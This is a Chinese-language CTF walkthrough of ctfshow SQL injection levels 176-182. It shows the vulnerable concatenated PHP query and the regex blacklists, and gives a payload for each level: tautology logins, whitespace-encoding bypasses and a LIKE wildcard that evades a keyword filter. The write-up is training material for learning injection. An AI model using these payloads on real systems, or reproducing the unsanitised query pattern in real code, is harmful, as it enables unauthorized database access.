ctfshow web入门 sql注入 176-182

发布时间 2023-04-14 21:48:55作者: kazie

176 - 182 简单注入(可以不用联合注入、盲注等方法,可以使用,但不建议)

重点

  1、了解万能密码的原理

  2、了解空格绕过

  3、了解精确查询与模糊查询

web176

web176 — web180 页面都一样,因此不贴出相应的代码,只给黑名单与payload

web176 — web180 的黑名单全靠手测,若有遗漏还请指正

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

 

payload

--万能密码变种
' or username='flag' --+

--万能密码
' or 1=1 --+

 

 

web177

黑名单:空格、+

知识点

  空格:%20(普通空格)、%09(水平制表符)、%0a(换行符)、%0b(回车符)、%0c(新一页)、%0d(垂直制表符)、%a0

  注释符:--、#(%23)、/**/

payload

-1'%09or%091=1%23

 

web178

黑名单增加:%20、*

payload

-1'%0aor%0ausername='flag'%23

 

 

web179

黑名单增加:%09、%0a、%0b、%0d

猜测使用 trim()

因为 %09、%0a、%0b、%0d 都无法使用,trim() 正是去除这些字符的

payload

-1'%0cor%0cusername='flag'%23

 

web180

黑名单增加:#

payload

--万能密码变种
--这种方式只显示 id=1 的数据,因为源代码中还有 limit 1(只显示一条数据)
-1'or%0c'1'='1

-1'or%0cusername='flag

 

web181

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
      

黑名单增加:file、into、select

禁用文件、查询

payload

同web180

 

web182

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

黑名单增加:flag

知识点

  模糊查询(like)

payload

-1'or%0cusername%0clike%0c'%fl%